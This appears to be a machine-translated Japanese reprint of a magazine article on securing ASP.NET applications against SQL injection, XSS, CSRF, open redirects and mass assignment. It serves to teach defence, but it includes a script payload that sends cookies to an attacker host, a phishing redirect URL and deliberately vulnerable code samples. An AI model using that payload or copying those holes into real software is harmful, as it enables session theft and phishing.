ASP.NET MVCは最も誇大広告ではなく、Web開発者の間で人気のあるスタックです。 (アンチ)ハッカーの観点から見ると、その標準機能は基本レベルのセキュリティを提供しますが、ハッカーのトリックの大部分から保護するには追加の保護が必要です。 この記事では、ASP.NET開発者がセキュリティについて知っておくべき基本事項(コア、MVC、MVC Razor、またはWebフォーム)について説明します。
注:Hacker誌の記事の完全版の出版物シリーズを継続します。 著者のスペルと句読点が保存されました。
著者に発言権を与えます。
ASP.NET MVCはかなり人気のある技術の積み重ねであるという点に多くの人が同意するだろうと思います。 この技術は長い間誇大広告のピークに達していないが、.NET Web開発者の需要は非常に高い。
同時に、開発中に安全面を考慮する必要があります。 一部の機能はすべての人に知られている古典的な攻撃から救いますが、かなり多数のハッカーのトリックからの追加の保護が必要です。 一般的なタイプの攻撃と防御方法を見てみましょう。 ASP.NET開発者(Core、MVC、MVC Razor、またはWebForms)を知っている必要があります。
すべての既知のタイプの攻撃から始めましょう。
SQLインジェクション
奇妙なことに、2017年、インジェクション、特にSQLインジェクションは、トップ10のOWASP( Open Web Application Security Project )セキュリティリスクの1位でした。このタイプの攻撃は、ユーザーが入力したデータが要求パラメーター。
古典的なSQLインジェクションの例は、Webフォームアプリケーションに固有のものである可能性が高くなります。
クエリ値としてパラメーターを使用すると、攻撃から保護できます。
string commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = @ID;"; SqlCommand command = new SqlCommand(commandText, connectionString); command.Parameters.AddWithValue("@ID", customerID);
MVCアプリケーションを開発している場合、Entity Frameworkはいくつかの脆弱性をカバーしています。 SQLインジェクションがMVC / EFアプリケーションで機能するには、管理する必要があります。 ただし、これは、 ExecuteQueryを使用してSQLコードを実行している場合、または記述が不十分なストアドプロシージャを呼び出している場合に可能です。
ORMはSQLインジェクションを回避するという事実にも関わらず(上記の例を除く)、属性をモデルフィールド、つまりフォームが取得できる値に制限することをお勧めします。 たとえば、フィールドに入力できるのはテキストのみであることがわかっている場合は、正規表現を使用して^ [a-zA-Z] + $の範囲を指定します
フィールドに数値を入力する場合は、これを要件として示します。
[RegularExpression(@"\d{5}", ErrorMessage = " 5 ")] public string Zip { get; set; }
WebFormsでは、バリデーターを使用して可能な値を制限できます。 例:
<asp:TextBox id="txtName" runat="server"></asp:TextBox> <asp:RegularExpressionValidator id="nameRegex" runat="server" ControlToValidate="txtName" ValidationExpression="^[a-zA-Z'.\s]{1,40}$" ErrorMessage=" " />
.NET 4.5以降では、WebFormsは控えめな検証を使用します。 これは、フォームの値を確認するために追加のコードを記述する必要がないことを意味します。
特定のデータの検証は、クロスサイトスクリプティング(XSS)と呼ばれるもう1つの既知の脆弱性から保護するのに役立ちます。
Xss
XSSの典型的な例は、コメントへのスクリプトの追加またはゲストブックへの書き込みです。 たとえば、これ:
<script>document.location='https://verybadcoolhacker.com/?cookie='+encodeURIComponent(document.cookie)</script>
ご承知のとおり、この例では、サイトからのCookieがパラメーターとしてハッカーサイトに渡されます。
Webフォームでは、次のようなコードを使用して間違いを犯す可能性があります。
<p> <%= username %>, </p>
ユーザー名の代わりにスクリプトが存在する可能性があることは明らかです。 スクリプトの実行を避けるために、少なくとも別のASP.NET式を使用できます:<%:username%>、その内容をエンコードします。
Razorを使用する場合、文字列は自動的にエンコードされます。 したがって、XSSを取得するには、試行錯誤する必要があります。 たとえば、 Html .Raw(Model.username)を使用します。 または、モデルで文字列の代わりにMvcHtmlStringを使用します
XSSに対する追加の保護のために、データはC#コードでもエンコードされます。 .NET Coreでは、System.Text.Encodings.Web名前空間の次のエンコーダーを使用できます:HtmlEncoder、JavaScriptEncoder、およびUrlEncoder
次の例では、文字列「<script>」が返されます。
string encodedString = HtmlEncoder.Default.Encode("<script>");
Classic .NETはHttpUtility.HtmlEncodeを使用します。 .NET 4.5以降では、AntiXssEncoderをデフォルトのエンコーダーにできます。 これを行うには、web.configファイルのhttpRuntimeタグに1つの属性を追加します。
<httpRuntime targetFramework="4.7" encoderType="System.Web.Security.AntiXss.AntiXssEncoder" />
したがって、古いHttpUtility.HtmlEncodeコードを使用すると、脆弱性に対してより耐性のある新しいクラスを実際に使用できます(新しいHttpServerUtilityおよびHttpResponseHeaderクラスも新しいコードを使用します)。
データベースに保存する前ではなく、表示する前に文字列をエンコードすることをお勧めします。
さらに、ユーザーが入力した文字列をURLに渡すパラメーターとして使用する場合は、必ずUrlEncoderを使用してください。
クロスサイトリクエストフォージェリ(CSRF)
「aliexpress」スタイルのウィキペディアは、ロシア語では「クロスサイトリクエストフォージェリ」のように聞こえると主張しています。
これは、ユーザーが悪意のあるサイトにログオンし、このサイトが別のサイトにリクエストを送信する攻撃の一種です。 ユーザーが登録されており、ユーザーが最近アクセスした良いサイト。 良いサイトの認証情報がまだCookieに残っている場合があります。 その後、悪意のある秘密のアクションがコミットされる可能性があります。
Viewに追加された有名なHtml .AntiForgeryToken()ヘルパーは、MVCでこの攻撃を回避するのに役立ちます。 そして、コントローラーのアクションの前に追加された属性[ValidateAntiForgeryToken]。
この保護方法は、STP(シンクロナイザートークンパターン)タイプです。 一番下の行は、ページに入ると、サーバーがユーザーにトークンを送信し、ユーザーがリクエストを行った後、ユーザーは検証用のデータとともにトークンをサーバーに送信します。 トークンは、ヘッダーと隠しフィールドまたはCookieの両方に保存できます。
Razorページは、デフォルトでXSRF / CSRF攻撃から保護されています。 ただし、AJAXリクエストを使用する場合は、ヘッダーでトークンを送信できます。 AntiForgeryTokenを使用するほど簡単ではありません。
この機能を構成するために、ASP.NET CoreはMicrosoft.AspNetCore.Antiforgery.IAntiforgeryサービスを使用します 。
従来のASP.NETアプリケーションは、AntiForgery.GetTokensメソッドを使用してトークンを生成し、AntiForgery.Validateを使用してサーバー側で受信したトークンを確認します。
詳細はこちら: Anti-CSRFおよびAJAX
オープンリダイレクト攻撃
リダイレクトには注意してください。 次のコードは非常に危険です。
Response.Redirect(Request.QueryString["Url"]);
攻撃者は自分のサイトにリンクを追加できます。 しかし、ユーザーはURLが良いサイトで始まることを見て、アドレスを完全に考慮せず(特に長い場合)、リンクをクリックして、あなたから有害なサイトに移動する可能性があります。 この脆弱性は、特にフィッシングに使用される可能性があります。 フィッシングリンクの例:
http://www.goodwebsite.com/Redirect?url=http://www.goodweebsite.com
リンクが記載された電子メールを受信する多くのユーザーは、ドメインが一致するかどうかを確認し、リンクによって良いWebサイトから悪いWebサイトにリダイレクトされることを期待していません。 また、リダイレクトによって同じデザインのページが開かれた場合、多くのユーザーはユーザー名とパスワードの入力をためらいません(誤ってアカウントを離れたと考えてしまいます)。 その後、攻撃者はこのサイトにリダイレクトされます。
このタイプの攻撃はMVCにも適用されます。 次の例では、リンクがローカルかどうかを確認します。
private ActionResult RedirectToLocalPage(string redirectUrl) { if (Url.IsLocalUrl(redirectUrl)) return Redirect(redirectUrl); // …. }
このタイプの攻撃から保護するには、補助メソッドLocalRedirectを使用することもできます
private ActionResult RedirectToLocalPage(string redirectUrl) { return LocalRedirect(redirectUrl); }
一般に、受信したデータを信頼しないようにしてください。
一括割り当て
例を使用してこの脆弱性を分析します。
Webサイトに2つのプロパティを持つ単純なモデルがあるとします
public class UserModel { public string Name { get; set; } public bool IsAdmin { get; set; } }
そして、かなり普通で非常にシンプルなビューがあります
@model UserModel <form asp-action="Vulnerable" asp-Controller="Home"> <div class="form-group"> <label asp-for="Name"></label> <input class="form-control" type="text" asp-for="Name" /> </div> <div class="form-group"> @if (Model.IsAdmin) { <i>You are an admin</i> } else { <i>You are a standard user</i> } </div> <button class="btn btn-sm" type="submit">Submit</button> </form>
このビューを使用すると、ユーザー名のみを編集できますよね?
次に、同じ単純なコードに移りましょう。
[HttpPost] public IActionResult Vulnerable(int id, UserModel model) { return View("Index", model); }
すべて順調ですよね?
結局のところ、まったくそうではありません。 それはすべて、アクションがHttpPostとしてマークされているためです。
これを確認するには、PostmanやFiddlerなどのユーティリティを開き、idおよびIsAdminパラメーターを指定したアドレスにPOSTリクエストを送信します。 ローカルでテストしている場合、アドレスは次のようになります:localhost:51696 / Home / Vulnerable?Id = 34&IsAdmin = true
スクリーンショットでわかるように、秘密情報へのアクセスが取得されます(管理者である行はHTMLコードで表示されます)
このタイプの攻撃を回避する方法は? 最も簡単なオプションは、オブジェクトがHttpPostで転送される状況に陥らないことです。 そして、そのような状況を回避できない場合は、何でも送信できるという事実に備えてください。 1つのオプションは、HttpPostを介して渡すために、ある種の別個のクラスを作成することです。 これは、パブリックパラメータを持つ現在のクラスの基本クラス、またはダブルクラスのいずれかです。 このクラスでは、重要なフィールドに値がfalseの編集可能属性を付けることができます。
[Editable(false)]
多くの攻撃を回避すると、リクエストヘッダーに特定の値を設定するのに役立ちます。 ヘッダーはすべてのブラウザでサポートされているわけではありません(ほとんどの場合、古いバージョンではサポートされていません)。 ヘッダーが回避するのに役立つ一般的な種類の攻撃を見てみましょう。
Xss
既に上記で説明した攻撃の種類。 セキュリティを強化するには、content-security-policyヘッダーを使用できます。 特定のリソースからのみコンテンツをダウンロードできます。 たとえば、現在のサイトからのみスクリプトの実行を許可できます。
content-security-policy: script-src 'self'
コンテンツへのアクセスが許可されている信頼済みサイトを指定することもできます。
次のヘッダーもXSSからの保護に役立ちますが、通常はブラウザーによってデフォルトで有効になっています:x-xss-protection。 例:
x-xss-protection: 1; mode=block
クリックジャッキング
あるサイトにアクセスすると、ユーザーは何らかの透明なiframe内の隠されたボタン/リンクが追加された何らかのウィンドウ、リンク、またはバナーを持っているかもしれません。 そして、ユーザーはクリックしたいものをクリックしますが、実際には彼は意志に反して隠されたオブジェクトをクリックします。
「X-FRAME-OPTIONS」ヘッダーを「DENY」に設定すると、iframeにサイトページが配置されなくなります。 サイトにフレームがない場合、これは最適なオプションです。 iframeを使用してサイトのページを表示する場合、SAMEORIGIN値により、サイトのページをフレームに表示できますが、同じサイトの他のページにのみ表示できます。
MIMEスニッフィング
これは攻撃方法の名前ではなく、ファイルの内容の検証であり、主にXSSに関連付けられています。 多くの場合、攻撃者は完全に無害な拡張子を持つファイルの形式で悪意のあるコードをダウンロードできます。 動画タグとして発声してください。 また、ブラウザがファイルをコードとして認識して実行することもあります。 これを防ぐには、「X-Content-Type-Options:nosniff」ヘッダー設定を使用できます。 このヘッダーを受信すると、ブラウザはファイルの内容が指定された正確な形式の内容であるかどうかを確認します(この確認はMIMEスニッフィングと呼ばれます)。
リファラーポリシー
ブラウザーは、あるサイトに切り替えたときに、要求ヘッダーへの遷移元のサイトへのリンクを自動的に追加します。 これは分析に非常に便利です。 たとえば、訪問者がサイトにアクセスするサイトのリストを使用して統計をコンパイルするコードを作成するのは難しくありません。 ただし、サイトのアドレスバーに機密情報を含む要求がある場合、この情報を他のサイトから隠すことが非常に望ましいでしょう。 例: http : //www.somegoodsite.com/Edit?id=34543276654
外部サイトにアクセスするときにリンクを非表示にするには、「Referrer-Policy:no-referrer」という値のヘッダーを設定できます
リクエストヘッダーをサイトに追加する方法
リクエストヘッダーは、IIS設定とアプリケーションコードの両方を使用して設定できます。 IISの構成は考慮しませんが、コードからヘッダーを設定するためのオプションを考慮します。
ASP.NET Coreにヘッダーを追加するために、ミドルウェアを作成できます。 ミドルウェアは、その名前が示すとおり、要求と応答のプロセスのチェーンの途中にある中間コードの一種です。
X-Frame-Optionsヘッダーを追加できるクラスのペアの例を次に示します。DENY
public class HeadersMiddleware { private readonly RequestDelegate _next; public HeadersMiddleware(RequestDelegate next) { _next = next; } public async Task Invoke(HttpContext context) { IHeaderDictionary headers = context.Response.Headers; headers["X-Frame-Options"] = "DENY"; await _next(context); } } public static class HeadersMiddlewareExtensions { public static IApplicationBuilder UseHeadersMiddleware(this IApplicationBuilder builder) { return builder.UseMiddleware<HeadersMiddleware>(); } }
結果のミドルウェアは、Startup.csファイルのConfigureメソッドで1行で登録できます。
app.UseHeadersMiddleware();
これで、サーバーから受信したヘッダーのリストの中で、最近追加されたX-Frame-Optionsを確認できます
ミドルウェアを使用することもできませんが、Startup.csファイルのConfigメソッドにすぐにヘッダーを追加して、
app.UseHeadersMiddleware();
に
app.Use(async (context, next) => { context.Response.Headers.Add("X-Frame-Options", "SAMEORIGIN"); await next(); });
この方法はよりシンプルに見えます。 さらに、すべてのコンテンツと動的コンテンツのみの両方にヘッダーを設定できます(それぞれapp.UseStaticFiles()行の前にコードを追加します)。
情報
動的コンテンツは、動的モデルデータを含むファイルです。 静的コンテンツは、html、css、js、jpgなどのファイルです。
従来のASP.NETでは、ヘッダーの追加はわずかに異なる方法で行われます。
2つのオプションがあります。 1つ目は、web.configファイルのsystem.webServerセクションにタグを追加することです。 たとえば、次のとおりです。
<httpProtocol> <customHeaders> <add name="X-Frame-Options" value="SAMEORIGIN" /> <remove name="X-Powered-By" /> </customHeaders> </httpProtocol>
タグを追加できるだけでなく、削除することもできます。 この例では、X-Powered-Byヘッダーを削除します。 開示する情報が少なければ少ないほど良いですか? 結果:
X-Powered-Byヘッダーに加えて、ServerおよびX-AspNet-Versionヘッダーを削除することもできます。
ヘッダーを追加する2番目のオプションは、Application_BeginRequestメソッドをGlobal.asaxファイルに追加することです
protected void Application_BeginRequest(object sender, EventArgs e) { HttpContext.Current.Response.AddHeader("X-FRAME-OPTIONS", "DENY"); }
Nwebsec
ヘッダーを追加するには、NWebsecと呼ばれるかなり人気のあるNuGetパッケージを使用できます。 パッケージの作成者はAndre N. Klingsheimです。
NWebsecは、通常のASP.NETアプリケーションおよびCore 1.1で使用できます。
ASP.NETアプリケーションでは、web.configにパッケージをインストールすると、次のタグが表示されます。
<nwebsec> <httpHeaderSecurityModule xmlns="http://nwebsec.com/HttpHeaderSecurityModuleConfig.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="NWebsecConfig/HttpHeaderSecurityModuleConfig.xsd"> </httpHeaderSecurityModule> </nwebsec>
コンテンツとしてタイトル設定を追加できます。 このオプションを考えてみましょう:
<redirectValidation enabled="true" /> <securityHttpHeaders> <x-XSS-Protection policy="FilterEnabled" blockMode="true"/> <content-Security-Policy enabled="true"> </content-Security-Policy> <x-Frame-Options policy="Deny"/> <x-Content-Type-Options enabled="true" /> </securityHttpHeaders>
ASP.NET Coreを使用している場合、ヘッダーを追加するための推奨オプションは次のとおりです。
app.UseXContentTypeOptions(); app.UseReferrerPolicy(opts => opts.NoReferrer());
前に
app.UseStaticFiles();
そして後
app.UseXfo(xfo => xfo.Deny()); app.UseRedirectValidation();
NWebsecの大きなマイナス点は、.NET Core 2.0がまだサポートされていないことです。
最悪の構成エラー
データベース接続文字列を保存する
完全なASP.NETで作業している場合、接続文字列を保存する最適なオプションはweb.configファイルです。 また、文字列をプレーンテキストではなく、暗号化して保存します。 aspnet_regiis.exeユーティリティを使用してこれを行うことができます最も簡単なオプションは、管理者モードで開発者コマンドプロンプトを実行し、コマンドを実行することです
aspnet_regiis.exe -pef connectionStrings C:\inetpub\wwwroot\YourAppName
2つのコマンドパラメーターは、暗号化する必要があるセクション(この場合はconnectionStrings)とweb.configファイルが置かれているディレクトリへのパスです。
ASP.NET Coreで作業している場合、開発プロセス中にSecret Managerツールを使用して文字列を保存できます。
.NET Coreの本番用の既製バージョンはまだありません。 ただし、Azureでアプリケーションをホストする場合は、アプリケーション設定に機密情報を保存できます
この場合、接続文字列自体を別のファイルに移動できます。 セキュリティ上の理由から、このファイルをバージョン管理から除外することをお勧めします。
<connectionStrings configSource="ConnectionStrings.config"> </connectionStrings>
機密設定も同じ方法でレンダリングできます。
<appSettings file="AppSettingsSecrets.config"> </appSettings>
ファイル自体で、タグのコンテンツとして使用されるコンテンツを指定するだけです。
エラーメッセージを隠す
おそらく、エラーが発生したコードのテキストで「死の黄色い画面」を見たことがあるでしょう。 接続文字列の直後にこの推奨事項を置いたのは偶然ではありませんでした。 攻撃者が人為的にエラーを作成し、自分のために有用な情報を取得できる例は、さらに明白です。 理想的には、これは接続文字列である可能性があります。 些細なことでも、ウェブサイトの脆弱性の検索にかかる時間を短縮できる場合があります。 従来のASP.NETアプリケーションがある場合、web.config CustomErrorsモードでは、Onまたは少なくともRemoteOnlyのままにしておく必要があります。
<customErrors mode="On" />
ASP.NET Coreでは、Microsoft.AspNetCore.Diagnostics NuGetパッケージを使用して、開発モードと実稼働用に表示を分割できます。 たとえば、StartUpクラスのConfigureメソッドでエラーメッセージの表示を構成するには、以下を追加できます。
env.EnvironmentName = EnvironmentName.Production; if (env.IsDevelopment()) { app.UseDeveloperExceptionPage(); } else { app.UseExceptionHandler("/error"); }
さらにいくつかのweb.config構成エラー
突然web.configでトレースまたはデバッグの設定を誤って行った場合、実稼働サーバーに値falseを設定する必要があります。
<trace enabled="false" localOnly="true" /> <compilation debug="false" targetFramework="4.5" />
クラッカーがCookieにアクセスできないようにするには(たとえば、XSSを使用するなど)、次のパラメーターの値がtrueである必要があります。
<httpCookies httpOnlyCookies="true" requireSSL="false"/>
壊れた認証とセッション管理
パスワードおよびその他の機密情報を保存するには、ソルト付きの永続的なハッシュのみを使用します。 OWASPは、Argon2、PBKDF2、scrypt、およびbcryptを推奨しています。
イントラネットサイトにのみフォーム認証を使用します。 Webで認証を使用する場合は、Identityに切り替えます。
既にASP.NET CoreアプリケーションでIdentityを使用している場合、Startup.csファイルのConfigureServicesメソッドに次のコードを追加することにより、パスワードの試行回数を制限できます。
services.Configure<IdentityOptions>(options => { options.Lockout.DefaultLockoutTimeSpan = TimeSpan.FromMinutes(30); options.Lockout.MaxFailedAccessAttempts = 10; });
ユーザーが自分のデータの一部を編集できるようにする場合、ユーザーが自分のデータを編集しているかどうかを確認します(受信したデータは信頼すべきではないことに注意してください)。
public ActionResult EditProfileInfo(int id) { var user = _context.Users.FirstOrDefault(e => e.Id == id); if (user.Id == _userIdentity.GetUserId()) { // } // … }
おわりに
できる限り、ASP.NET開発者に役立つ可能性のあるすべてのものをまとめようとしました。 もちろん、伝えることだけではありませんでした。 たとえば、可能性のあるIIS構成エラーを個別に調べることができます。 ただし、この資料は基本的なルールを学習するのに十分であり、失敗をしないようにする必要があります。
これはハッカー誌の記事の完全バージョンであることを思い出します。 著者はAlexey Sommerです。